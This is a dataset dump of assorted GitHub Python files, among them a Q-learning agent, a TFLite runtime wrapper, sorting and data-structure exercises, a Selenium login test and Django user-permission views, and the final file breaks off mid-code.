days given a number of hours.\"\"\"\n if number <= 23:\n return 0, number\n days = math.floor(number / 24)\n hours = number - (days * 24)\n return days, hours\n\n\nasync def db_model_to_game_model_multiple(these_games: list[db_games]) -> list[games]:\n games_to_return = []\n for game in these_games:\n game_info = await create_api_game_info(game)\n this_game = games.Game(game_name=game.game_name, game_info=game_info)\n games_to_return.append(this_game)\n return games_to_return\n\n\nasync def create_api_game_info(game):\n time_stamp = game.game_info.time_stamp_v2.strftime('%m-%d-%Y %H:%M:%S')\n player_name = await user_service.get_index_name_by_user_id(game.game_info.next_player_id)\n game_info = games.GameInfo(player_name=player_name, turn_number=game.game_info.turn_number,\n game_completed=game.game_info.game_completed, time_stamp=time_stamp,\n turn_deltas=game.game_info.turn_deltas,\n average_turn_time=game.game_info.average_turn_time,\n winner=game.game_info.winner)\n return game_info\n\n\nasync def db_model_to_game_model(game_to_complete):\n game = await game_service.get_game(game_to_complete)\n game_info = await create_api_game_info(game)\n return games.Game(game_name=game.game_name, game_info=game_info)\n","repo_name":"djotaku/Civilization_VI_Play_By_Cloud_Webhook_with_FastAPI","sub_path":"civ_vi_webhook/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"33392262533","text":"# -*- coding: utf-8 -*-\n\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\"\"\"Generate schemas for mozilla-pipeline-schemas.\n\n.. include:: ../README.md\n\"\"\"\n__docformat__ = \"restructuredtext\"\n\n__author__ = \"Frank Bertsch\"\n__email__ = \"frank@mozilla.com\"\n__version__ = \"0.1.0\"\n","repo_name":"10allday-Software/mozilla-schema-generator","sub_path":"mozilla_schema_generator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"8806071477","text":"# -*- coding: utf-8 -*-\n\n__author__ = \"Christian Richter\"\n__copyright__ = \"Copyright 2019, TU Dresden\"\n__license__ = \"GPL\"\n__credits__ = [\"Christian Richter\"]\n__email__ = \"christian.richter1@tu-dresden.de\"\n__project__ = \"FmiRL\"\n__version__ = \"0.1.0\"\n\n\"\"\"\nOriginal code from: https://gist.github.com/carlos-aguayo/3df32b1f5f39353afa58fbc29f9227a2 \nModified by: Christian Richter\n\"\"\"\n\nimport numpy as np\nimport random\n\n\n__all__ = [\"QLearner\"]\n\n\nclass QLearner(object):\n def __init__(self,\n num_states=100,\n num_actions=4,\n alpha=0.2,\n gamma=0.9,\n random_action_rate=0.5,\n random_action_decay_rate=0.99):\n self.num_states = num_states\n self.num_actions = num_actions\n self.alpha = alpha\n self.gamma = gamma\n self.random_action_rate = random_action_rate\n self.random_action_decay_rate = random_action_decay_rate\n self.state = 0\n self.action = 0\n self.qtable = np.random.uniform(low=-1, high=1, size=(num_states, num_actions))\n\n def set_initial_state(self, state):\n \"\"\"\n @summary: Sets the initial state and returns an action\n @param state: The initial state\n @returns: The selected action\n \"\"\"\n self.state = state\n self.action = self.qtable[state].argsort()[-1]\n return self.action\n\n def move(self, state_prime, reward):\n \"\"\"\n @summary: Moves to the given state with given reward and returns action\n @param state_prime: The new state\n @param reward: The reward\n @returns: The selected action\n \"\"\"\n alpha = self.alpha\n gamma = self.gamma\n state = self.state\n action = self.action\n qtable = self.qtable\n\n choose_random_action = (1 - self.random_action_rate) <= np.random.uniform(0, 1)\n\n if choose_random_action:\n action_prime = random.randint(0, self.num_actions - 1)\n else:\n action_prime = self.qtable[state_prime].argsort()[-1]\n\n self.random_action_rate *= self.random_action_decay_rate\n\n qtable[state, action] = (1 - alpha) * qtable[state, action] + alpha * (reward + gamma * qtable[state_prime, action_prime])\n\n self.state = state_prime\n self.action = action_prime\n\n return self.action\n","repo_name":"rizoid/fmirl","sub_path":"fmirl/agents/q_learner.py","file_name":"q_learner.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"20133535109","text":"\"\"\"\nAutor: Pierre Vieira\nData da submissão: 26/02/2020 01:45:28\nReferência: https://www.life2coding.com/uri-online-judge-solution-1829-biggest-number-game-intermediate-problem/\n\"\"\"\nfrom math import log, pi, e\n\n\ndef saida():\n if pedro_vencidas > lucas_vencidas:\n print('Campeao: Pedro!')\n elif pedro_vencidas < lucas_vencidas:\n print('Campeao: Lucas!')\n else:\n print('A competicao terminou empatada!')\n for resultado_rodada in lista_resultado:\n print(resultado_rodada)\n\n\ndef my_factorial(n):\n resultado = 1\n for i in range(1, n):\n resultado *= i\n return resultado\n\n\ndef calcular_entradas():\n cont_rodada = 0\n global lucas_vencidas, pedro_vencidas\n for c in range(int(input())):\n cont_rodada += 1\n rodada = (input(), input())\n lucas_n1, lucas_n2 = map(int, rodada[0].split('^'))\n n_pedro = int(rodada[1][:-1])\n if n_pedro/e > lucas_n1 and n_pedro > lucas_n2:\n lista_resultado.append('Rodada #' + str(cont_rodada) + ': Pedro foi o vencedor')\n pedro_vencidas += 1\n else:\n if lucas_n2*log(lucas_n1) < log(2*pi)/2 + ((n_pedro + 0.5) * log(n_pedro) - n_pedro):\n lista_resultado.append('Rodada #' + str(cont_rodada) + ': Pedro foi o vencedor')\n pedro_vencidas += 1\n else:\n lista_resultado.append('Rodada #' + str(cont_rodada) + ': Lucas foi o vencedor')\n lucas_vencidas += 1\n\n\npedro_vencidas = lucas_vencidas = 0\nlista_resultado = []\ncalcular_entradas()\nsaida()\n","repo_name":"PierreVieira/URI","sub_path":"Python/Matemática/1829 - Jogo do Maior Número.py","file_name":"1829 - Jogo do Maior Número.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"73051770083","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\n#%%\n# Enable interactive mode\nplt.ion()\n\nrunstep()\nx = 0\ny = 0\n\nlidar_values = youbot.sensors[\"lidar\"].getRangeImage()\n\n# Create the initial plot\nfig,ax = plt.subplots(figsize=(20,20))\n\n\n\n# Constants\ntotal_degrees = 360\ntotal_indices = 512\ndeg_per_index = total_degrees / total_indices\n\n# Degree range (60 degrees span)\nstart_deg = 0\nend_deg = 360\n\ndeg60 = round(60 // deg_per_index)\n\n# Convert degrees to indices\nstart_index = round(start_deg / deg_per_index)\nend_index = round(end_deg / deg_per_index)\n\nallx = []\nally = []\n\nfor i in range(len(lidar_values)):\n if lidar_values[i] != float('inf') :\n theta, gps_xy = map_lidar(map, i, lidar_values[i])\n\n # ax.plot([x, gps_xy[0]], [y, gps_xy[1]], color='green')\n allx.extend([x, gps_xy[0], np.nan])\n ally.extend([y, gps_xy[1], np.nan])\n\nmxx = max(allx)*1.2\nmxy = max(ally)*1.2\nax.set_xlim(-mxx, mxx) # Adjust these limits based on your expected data range\nax.set_ylim(-mxy, mxy )\nax.set_xlabel('X Coordinate')\nax.set_ylabel('Y Coordinate')\n\nax.plot(allx, ally, color='green')\n\n\nstart = 0\nend = 43\nimrange = range(start, end)\n\n# Plotting logic\nxsv = []\nysv = []\nfor i in imrange:\n if lidar_values[i] != float('inf') and lidar_values[i] != 0.0:\n theta, gps_xy = map_lidar(map, i, lidar_values[i])\n xsv.extend([x, gps_xy[0], np.nan])\n ysv.extend([y, gps_xy[1], np.nan])\n\nax.plot(xsv, ysv, color='red')\n\nimrange = range(start, end)\n\nstart = 512-42\nend = 512\nimrange = range(start, end)\n\n# Plotting logic\nxsv = []\nysv = []\nfor i in imrange:\n if lidar_values[i] != float('inf') and lidar_values[i] != 0.0:\n theta, gps_xy = map_lidar(map, i, lidar_values[i])\n xsv.extend([x, gps_xy[0], np.nan])\n ysv.extend([y, gps_xy[1], np.nan])\n\nax.plot(xsv, ysv, color='blue')\n\n\n# Update the plot\nfig.canvas.draw()\nfig.canvas.flush_events()\nplt.pause(0.1) # Pause to update the plot\n\nplt.ioff() # Turn off interactive mode\nplt.show()\n\n","repo_name":"Witt-Phillips/472-Final-Project","sub_path":"lib/Zombie world/controllers/calbick_controller_template/scratch.py","file_name":"scratch.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33222354058","text":"import torch\nfrom torchvision.transforms import transforms\nfrom data.cifar10_with_indices import Cifar10_with_indices\n\n\ndef get_loaders(dataset, data, batch_size, val_batch_size, workers):\n dataset = Cifar10_with_indices\n normalize = transforms.Normalize(mean=[0.491, 0.482, 0.447], std=[0.247, 0.243, 0.262])\n\n train_dataset = dataset(\n root=data,\n train=True,\n download=True,\n transform=transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n # normalize,\n ]))\n train_batch_sampler = torch.utils.data.BatchSampler(torch.utils.data.RandomSampler(train_dataset),\n batch_size=batch_size, drop_last=False)\n trainloader = torch.utils.data.DataLoader(train_dataset, batch_sampler=train_batch_sampler, num_workers=workers,\n pin_memory=False)\n\n test_dataset = dataset(\n root=data,\n train=False,\n download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n # normalize,\n ]))\n\n test_batch_sampler = torch.utils.data.BatchSampler(torch.utils.data.SequentialSampler(test_dataset),\n batch_size=val_batch_size, drop_last=False)\n testloader = torch.utils.data.DataLoader(test_dataset, batch_sampler=test_batch_sampler, num_workers=workers,\n pin_memory=False)\n\n return trainloader, testloader, None\n","repo_name":"YaelRe/KD_PROJECT","sub_path":"data_loaders/cifar_data.py","file_name":"cifar_data.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"20102562320","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('appointments', '0004_appointment_is_confirmed'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='appointment',\n name='is_confirmed',\n ),\n ]\n","repo_name":"asabalon/cs260","sub_path":"appointments/migrations/0005_remove_appointment_is_confirmed.py","file_name":"0005_remove_appointment_is_confirmed.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28771894445","text":"import time\n\nimport numpy as np\n\nfrom .factory import RuntimeModuleBase, RuntimeModuleFactory\n\n\n@RuntimeModuleFactory.register(\"tflite\")\nclass TFLiteRuntimeModule(RuntimeModuleBase):\n def __init__(self, model: str, **kwargs):\n import tensorflow as tf\n\n self.module: tf.lite.Interpreter = tf.lite.Interpreter(model_path=model, **kwargs)\n self.module.allocate_tensors()\n self.input_details = self.module.get_input_details()\n self.output_details = self.module.get_output_details()\n\n def run(self):\n self.module.invoke()\n\n def set_input(self, idx, value, **kwargs):\n \"\"\"Set input data.\n\n Args:\n idx (int): layer index to set data\n np_arr (np.ndarray): input data\n \"\"\"\n if not isinstance(idx, int):\n raise Exception(\"idx should be int\")\n self.module.set_tensor(self.input_details[idx][\"index\"], value)\n\n def get_output(self, idx):\n \"\"\"Get inference output.\n\n Args:\n index (int): layer index to get output\n\n Returns:\n np.ndarray: output data\n \"\"\"\n return self.module.get_tensor(self.output_details[idx][\"index\"])\n\n def get_input_details(self):\n return self.input_details\n\n def get_output_details(self):\n return self.output_details\n\n def benchmark(self, warmup: int = 1, repeat: int = 10, number: int = 1):\n for idx, inp in enumerate(self.input_details):\n input_data = np.random.uniform(0, 1, size=inp[\"shape\"]).astype(inp[\"dtype\"])\n self.set_input(idx, input_data)\n\n for _ in range(warmup):\n self.run()\n\n times = []\n for _ in range(repeat):\n time_start = time.perf_counter()\n for _ in range(number):\n self.run()\n time_end = time.perf_counter()\n times.append((time_end - time_start) / number)\n\n mean_ts = np.mean(times) * 1000\n std_ts = np.std(times) * 1000\n max_ts = np.max(times) * 1000\n min_ts = np.min(times) * 1000\n\n return {\"mean\": mean_ts, \"std\": std_ts, \"max\": max_ts, \"min\": min_ts}\n","repo_name":"ry3s/arachne","sub_path":"python/arachne/runtime/module/tflite.py","file_name":"tflite.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"44980002559","text":"from sorts.counting_sort import countingSort\n\n\ndef radixSort(arr):\n max1 = max(arr)\n exp = 1\n while max1 // exp > 0:\n print(f\"Counting sort with {exp}\")\n countingSort(arr, exp)\n exp *= 10\n print(f\"array: {arr}\")\n","repo_name":"lepropst/Algorithms","sub_path":"sorts/radix_sort.py","file_name":"radix_sort.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39424991159","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport configparser\nimport os.path\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nimport ast\nimport logging\nimport logging.config\nimport sys\ndef get_logger():\n # Логер\n logging.config.fileConfig(os.path.join(os.getcwd(), 'logger.conf'), disable_existing_loggers = False)\n logger = logging.getLogger('plogger')\n return logger\n\nlogger = get_logger()\n\ndef get_config(config_path: str, section: str) -> dict:\n \"\"\"\n Получаем конфиг\n :param config_path: путь до файла конфигурации\n :param section: имя секции\n :return: возвращает словарь из options указанной секции\n \"\"\"\n config = configparser.ConfigParser()\n config.read(config_path)\n logger.info('Фаил конфигуркции прочитан')\n return dict(config.items(section))\n\n\ndef send_email(mail_setting, body, subject):\n '''Посылаем email'''\n\n # Переводим список в строку\n mail_to_tmp = ast.literal_eval(mail_setting['to'])\n mail_to = ', '.join(mail_to_tmp)\n message = MIMEMultipart()\n message[\"From\"] = mail_setting['from']\n message['To'] = mail_to\n message['Subject'] = subject\n message.attach(MIMEText(body, 'plain'))\n try:\n smtp_obj = smtplib.SMTP(mail_setting['server'], int(mail_setting['port']))\n # smtp_obj.starttls()\n # smtp_obj.login(mail_setting['username'], mail_setting['password'])\n smtp_obj.sendmail(from_addr=mail_setting['from'], to_addrs=mail_to, msg=message.as_string())\n smtp_obj.quit()\n logger.info(f'Почта отправлена {mail_to} ')\n except Exception as e:\n logger.exception('Ошибка отправки почты')\n sys.exit(1)\n\nif __name__ == '__main__':\n pass\n","repo_name":"twmd/rapi_client","sub_path":"lib/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"39939606991","text":"#!/usr/bin/env python\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\nwith open('README.md') as readme_file:\n readme = readme_file.read()\n\nwith open('requirements.txt') as requirement_file:\n requirements = requirement_file.read()\nrequirements = requirements.split(\"\\n\")\n\nsetup(\n author=\"Patrick Christie\",\n author_email='patrick.christie.dev@gmail.com',\n python_requires='>=3.6',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n ],\n description=\"A python implementation for a gpu accelerated fluid simulation as described in the paper 'Real-Time Fluid Dynamics for Games'\",\n entry_points={\n 'console_scripts': [\n 'fluid-sim=fluid_sim.main:main',\n ],\n },\n install_requires=requirements,\n license=\"MIT license\",\n long_description=readme,\n include_package_data=True,\n keywords='fluid_sim',\n url='https://github.com/prchristie/Fluid-Simulation',\n version='0.0.1',\n zip_safe=False,\n)","repo_name":"prchristie/Fluid-Simulation","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"26162847305","text":"# coding=utf-8\nimport unittest\nfrom time import sleep\nfrom selenium.webdriver.common.by import By\nfrom Smoke_testcase.Common.BasePage import BasePage\nfrom ddt import ddt,file_data\nfrom Smoke_testcase.Log.logs import Logger\n\nmylog = Logger(\"Case\").getlog()\n\n\n@ddt()\nclass Case(unittest.TestCase):\n # 前置条件\n def setUp(self) -> None:\n self.jq = BasePage()\n\n def tearDown(self) -> None:\n self.jq.quit()\n\n @file_data('../data/login_element.yaml')\n def test_login(self, **kwargs):\n self.jq.open(kwargs[\"url\"])\n mylog.info('打开网页')\n self.jq.click(By.XPATH,kwargs['click'])\n mylog.info('点击登录/注册按钮')\n sleep(1.5)\n self.jq.click(By.XPATH,kwargs['locator'])\n mylog.info('点击密码登录按钮')\n sleep(1.5)\n self.jq.send_text(By.XPATH,)\n mylog.info('输入账户')\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n","repo_name":"zl960405/JQ_autoTest","sub_path":"Smoke_testcase/Test_case/Test_login.py","file_name":"Test_login.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8117880638","text":"\"\"\"Dynamic Array implementation on Python\"\"\"\nimport ctypes\n\n\nclass DynamicArray(object):\n def __init__(self):\n self.length = 0 # Initial length of the array\n self.capacity = 1 # Initial capacity of the array\n self.array = self.create_array(self.capacity)\n\n def __len__(self):\n \"\"\"\n :return: length of the dynamic array\n \"\"\"\n return self.length\n\n def __getitem__(self, index):\n \"\"\"\n :param index:\n :return:element of the given index\n \"\"\"\n if not (0 <= index < self.length):\n return IndexError(\"Invalid index\")\n return self.array[index]\n\n def append(self, element):\n \"\"\"\n Append new element at the end of array\n :param element:\n :return:\n \"\"\"\n if self.length == self.capacity:\n self.resize(2 * self.capacity) # Double the capacity of the array if it's reached to it's length\n self.array[self.length] = element\n self.length += 1\n\n def insert_at(self, element, index):\n \"\"\"\n Insert an element at a given index\n :param element:\n :param index:\n :return:\n \"\"\"\n if index < 0 or index > self.length:\n return IndexError(\"Invalid index\")\n\n if self.length == self.capacity:\n self.resize(2 * self.capacity)\n for i in range(self.length-1, index-1, -1):\n self.array[i+1] = self.array[i]\n self.array[index] = element\n self.length += 1\n\n def delete_at(self, index):\n \"\"\"\n Delete element from array on given index\n :param index:\n :return:\n \"\"\"\n if self.length == 0:\n print(\"Array is already empty\")\n return\n if index < 0 or index > self.length:\n return IndexError(\"Invalid index\")\n if index == self.length - 1:\n self.array[index] = 0\n self.length -= 1\n return\n for i in range(index, self.length-1):\n self.array[i] = self.array[i+1]\n self.array[self.length-1] = 0\n self.length -= 1\n\n def pop(self):\n \"\"\"\n Pop out the last element from array\n :return:\n \"\"\"\n if self.length == 0:\n print(\"Array is already empty\")\n self.array[self.length-1] = 0\n self.length -= 1\n\n def resize(self, new_capacity):\n \"\"\"\n Resize the old small array to bigger array so that new elements have enough space to fit in.\n :param new_capacity:\n :return:\n \"\"\"\n bigger_array = self.create_array(new_capacity)\n\n for i in range(self.length):\n bigger_array[i] = self.array[i]\n self.array = bigger_array\n self.capacity = new_capacity\n\n def __str__(self):\n \"\"\"\n To make array representable\n :return:\n \"\"\"\n elements = \"\"\n for i in range(self.length):\n elements = elements + str(self.array[i]) + \",\"\n elements = \"[\" + elements[:-1] + \"]\"\n return elements\n\n @staticmethod\n def create_array(capacity):\n \"\"\"\n :param capacity:\n :return: new array object with new capacity\n \"\"\"\n return (capacity * ctypes.py_object)()\n\n\nif __name__ == \"__main__\":\n test_array = DynamicArray()\n test_array.append(23)\n test_array.append(2)\n test_array.append(203)\n test_array.append(3)\n print(len(test_array))\n print(test_array)\n","repo_name":"raghibhuda/ds-algo-implementation","sub_path":"dynamic_array/dynamic_array.py","file_name":"dynamic_array.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"29924718155","text":"class Node:\n \"\"\" Represents a tree node with unique key and list of values. \"\"\"\n\n def __init__(self, key, value):\n self.left = None\n self.right = None\n self.key = key\n self.values = [value]\n\n\nclass Tree:\n \"\"\" Represents a BST tree of Node values. \"\"\"\n\n def __init__(self):\n self.root = None\n\n def get_root(self):\n return self.root\n\n def add(self, key, value):\n if self.root is None:\n self.root = Node(key, value)\n else:\n self.add_node(key, value, self.root)\n\n def add_node(self, key, value, node):\n if key < node.key:\n if node.left is not None:\n self.add_node(key, value, node.left)\n else:\n node.left = Node(key, value)\n elif key == node.key:\n node.values.append(value)\n else:\n if node.right is not None:\n self.add_node(key, value, node.right)\n else:\n node.right = Node(key, value)\n\n def find(self, key):\n if self.root is not None:\n node = self.find_node(key, self.root)\n if node:\n return node.values\n\n def find_node(self, key, node):\n if key == node.key:\n return node\n elif key < node.key and node.left is not None:\n return self.find_node(key, node.left)\n elif key > node.key and node.right is not None:\n return self.find_node(key, node.right)\n","repo_name":"todorgrigorov/web-crawler","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7286923567","text":"# Time complextity - O(m*n)\n# Space Complexitiy - o(m)\n\ndef canSum(targetSum,numbers,memo={}):\n if targetSum in memo:\n return memo[targetSum]\n if targetSum == 0:\n return True\n\n if targetSum < 0:\n return False\n \n for i in numbers:\n remainder = targetSum - i\n if (canSum(remainder,numbers,memo)):\n memo[targetSum] = True\n return True\n\n memo[targetSum] = False\n return False\n\n\nprint(canSum(7,[2,4]))\n# print(canSum(878979797,[5,4,3]))\n\n","repo_name":"Arjune-Ram-Kumar-M-Github/FreeCodeCamp.org-Dynamic-Programming--Algorithmic-Problems-Coding-Challenges-Python-Solutions","sub_path":"Dyanamic_Recursion_CanSum.py","file_name":"Dyanamic_Recursion_CanSum.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"9301114862","text":"from django import http\nfrom django.db.models.expressions import Value\nfrom django.http.response import HttpResponse\nfrom django.shortcuts import render\nfrom django.views.generic import ListView, CreateView\nfrom django.contrib.auth import get_user_model\nfrom django.db.models import Q\nfrom django.views.generic.base import TemplateView, View\nfrom users.forms import UserModelForm\nfrom django.contrib.auth.hashers import make_password\nfrom django.contrib.auth.models import Permission, ContentType, Group\n\n# ? 测试2 \nfrom collections import OrderedDict\nfrom users.models import Menu_Level_Two, Menu_Level_One\n\n# ? 用户Model\nUsers = get_user_model()\n# Create your views here.\nclass UserListView(ListView):\n \"\"\"\n 用户列表\n \"\"\"\n template_name = \"users/list.html\"\n model = Users\n paginate_by = 5\n keyword = \"\"\n\n # 数据过滤\n def get_queryset(self):\n queryset = super(UserListView, self).get_queryset()\n queryset = queryset.exclude(username='admin')\n self.keyword = self.request.GET.get(\"keyword\", \"\")\n if self.keyword:\n queryset = queryset.filter(Q(name__icontains=self.keyword) |\n Q(username__icontains=self.keyword) |\n Q(phone__icontains=self.keyword))\n\n return queryset\n\n # 搜索关键字传给前端\n def get_context_data(self, **kwargs):\n context = super(UserListView, self).get_context_data(**kwargs)\n context['keyword'] = self.keyword\n return context\n\nclass UserAddView(CreateView):\n \"\"\"\n 添加用户\n \"\"\"\n template_name = \"users/form.html\"\n model = Users\n # fields = ('username', 'name', 'phone','sex')\n form_class = UserModelForm\n # permission_required = 'users.add_userprofile'\n\n def get_success_url(self):\n print(self.request.POST)\n if \"_addanother\" in self.request.POST:\n return reverse('users:add')\n return reverse('users:list')\n\n def form_valid(self, form):\n \"\"\"\n 用户默认密码为其用户名\n \"\"\"\n # print(form.cleaned_data)\n password = form.cleaned_data['username']\n # print(make_password(password))\n # print(form.instance) # user = UserProfile.objects.get(pk=1)\n # print(type(form.instance))\n form.instance.password = make_password(password)\n return super().form_valid(form)\n\n# ? AbstractUser(AbstractBaseUser, PermissionsMixin)\n# ? Group -> permissions = models.ManyToManyField(Permission)\n# ? 这样用户和组都是多对多的\n\n# ? 权限测试函数\n\n# [{\"id\":id, \"title\":\"con_type_list.name\",\"permission\":[{\"id\":id, \"codename\":\"\", \"name\":name},{\"id\":id2, \"codename\":\"\", \"name\":name}}]\n\ndef test(request):\n\n print(request.user.id)\n # ? 获取选中用户的ID\n user_id = request.GET.get('uid')\n\n # ? 获取选选中组的ID\n group_id = request.GET.get('gid')\n\n # ? 获取选中用户的的object\n user_object = Users.objects.filter(id=user_id).first()\n if not user_object:\n user_id = None\n\n # ? 获取选择组的object\n group_object = Group.objects.filter(id=group_id).first()\n if not group_object:\n group_id = None\n \n # ? 为用户分配组\n if request.method == 'POST' and request.POST.get('type') == 'group':\n role_id_list = request.POST.getlist('groups')\n # 用户和角色关系添加到第三张表(关系表)\n if not user_object:\n # messages.error(request, '请选择用户,然后再分配角色!')\n return HttpResponse('请选择用户,然后再分配角色!')\n user_object.groups.set(role_id_list)\n\n # ? 为用户和组分配权限\n if request.method == 'POST' and request.POST.get('type') == 'permission':\n permission_id_list = request.POST.getlist('permissions')\n if group_object:\n group_object.permissions.set(permission_id_list)\n elif user_object:\n user_object.user_permissions.set(permission_id_list)\n else:\n return HttpResponse('请选择角色,然后再分配权限!')\n # group_object.permissions.set(permission_id_list)\n\n # ? 获取选择用户的组:\n if user_object:\n user_groups = user_object.groups.all()\n else:\n user_groups = []\n user_has_groups_dict = { item.id: None for item in user_groups }\n\n # ? 选择用户或者组的权限\n if group_object:\n group_permissions = group_object.permissions.all()\n permissions_dict = {item.id: None for item in group_permissions}\n elif user_object:\n # user_permissions\n permissions_set = set()\n for item in user_object.groups.all():\n for i in item.permissions.all().values('id'):\n permissions_set.add(i['id'])\n for item in user_object.user_permissions.all().values('id'):\n permissions_set.add(item['id'])\n permissions_dict = {item: None for item in permissions_set}\n else:\n permissions_dict = {}\n \n user_list = Users.objects.all()\n group_list = Group.objects.all()\n\n# [{\"id\":id, \"title\":\"con_type_list.name\",\"permission\":[{\"id\":id, \"codename\":\"\", \"name\":name},{\"id\":id2, \"codename\":\"\", \"name\":name}}]\n con_type_list = ContentType.objects.values()\n for item in con_type_list:\n item['title'] = ContentType.objects.get(id=item['id']).name\n permission_list = Permission.objects.filter(content_type_id = item['id']).values()\n item['permission'] = [item for item in permission_list]\n\n return render(\n request,\n 'users/permission.html',\n {\n 'user_list': user_list,\n 'group_list': group_list,\n 'all_menu_list': con_type_list,\n 'user_id': user_id,\n 'group_id': group_id,\n 'user_has_groups_dict': user_has_groups_dict,\n 'permissions_dict': permissions_dict,\n }\n )\n\nclass PermissionList(TemplateView):\n\n template_name = 'users/permission.html'\n\n def get_context_data(self, **kwargs):\n\n user_id = self.request.GET.get('uid')\n group_id = self.request.GET.get('gid')\n user_list = Users.objects.all()\n group_list = Group.objects.all()\n con_type_list = ContentType.objects.values()\n for item in con_type_list:\n item['title'] = ContentType.objects.get(id=item['id']).name\n permission_list = Permission.objects.filter(content_type_id = item['id']).values()\n item['permission'] = [item for item in permission_list]\n\n context = super().get_context_data(**kwargs)\n context['all_menu_list'] = con_type_list\n context['user_list'] = user_list\n context['group_list'] = group_list\n context['user_id'] = user_id\n context['group_id'] = group_id\n return context\n\n\n\ndef test2(request):\n user_object = Users.objects.get(id=request.user.id)\n\n con_type_set = set()\n for item in user_object.groups.all():\n for i in item.permissions.all().values('content_type_id'):\n con_type_set.add(i['content_type_id'])\n for item in user_object.user_permissions.all().values('content_type_id'):\n con_type_set.add(item['content_type_id'])\n\n # ? 获取所有的二级菜单\n con_type_object = ContentType.objects.filter(id__in=list(con_type_set))\n menu_level_two_list = []\n for item in con_type_object:\n menu_level_two = item.menu_level_two_set.all().values('id', 'title', 'url')\n if menu_level_two:\n for i in menu_level_two:\n menu_level_two_list.append(i)\n\n # ? 获取所有的一级菜单\n menu_level_two_object = Menu_Level_Two.objects.filter(id__in=[ i['id'] for i in menu_level_two_list ])\n menu_level_one_id_set = set()\n for item in menu_level_two_object:\n menu_level_one_id_set.add(item.menu.id)\n \n # ? {menu_level_one:{title:一级菜单,icon:图标,class:XX,menu_level_two:{id:二级菜单的ID,title:二级菜单的名称,class:,style:,}}}\n # ? {menu_level_one:{title:一级菜单,icon:图标,class:XX,menu_level_two:{id:二级菜单的ID,title:二级菜单的名称,class:,style:,}}}\n # ? 拼装ordered_dict = OrderedDict()\n ordered_dict = OrderedDict()\n menu_level_one_list = Menu_Level_One.objects.filter(id__in=list(menu_level_one_id_set)).values()\n for item in menu_level_one_list:\n ordered_dict['menu_level_one'] = item\n ordered_dict['menu_level_one']['class'] = 'hide'\n ordered_dict['menu_level_one']['menu_level_two'] = menu_level_two_list\n\n for i in ordered_dict['menu_level_one']['menu_level_two']:\n i['class'] = ''\n i['style'] = ''\n # reg = '^{}$'.format(item['url'])\n print(i['url'], request.path_info)\n if i['url'] == request.path_info:\n print('--->')\n i['class'] = 'active'\n i['style'] = 'background-color:#ddd'\n ordered_dict['menu_level_one']['class'] = ''\n\n print(ordered_dict)\n return HttpResponse(con_type_set)\n\n\ndef test3(request):\n return render(request, 'base/layout.html')\n\n\nclass UserListView(ListView):\n \"\"\"\n 用户列表\n \"\"\"\n template_name = \"users/list.html\"\n model = Users\n paginate_by = 5\n keyword = \"\"\n\n # 数据过滤\n def get_queryset(self):\n queryset = super(UserListView, self).get_queryset()\n queryset = queryset.exclude(username='admin')\n self.keyword = self.request.GET.get(\"keyword\", \"\")\n if self.keyword:\n queryset = queryset.filter(Q(name__icontains=self.keyword) |\n 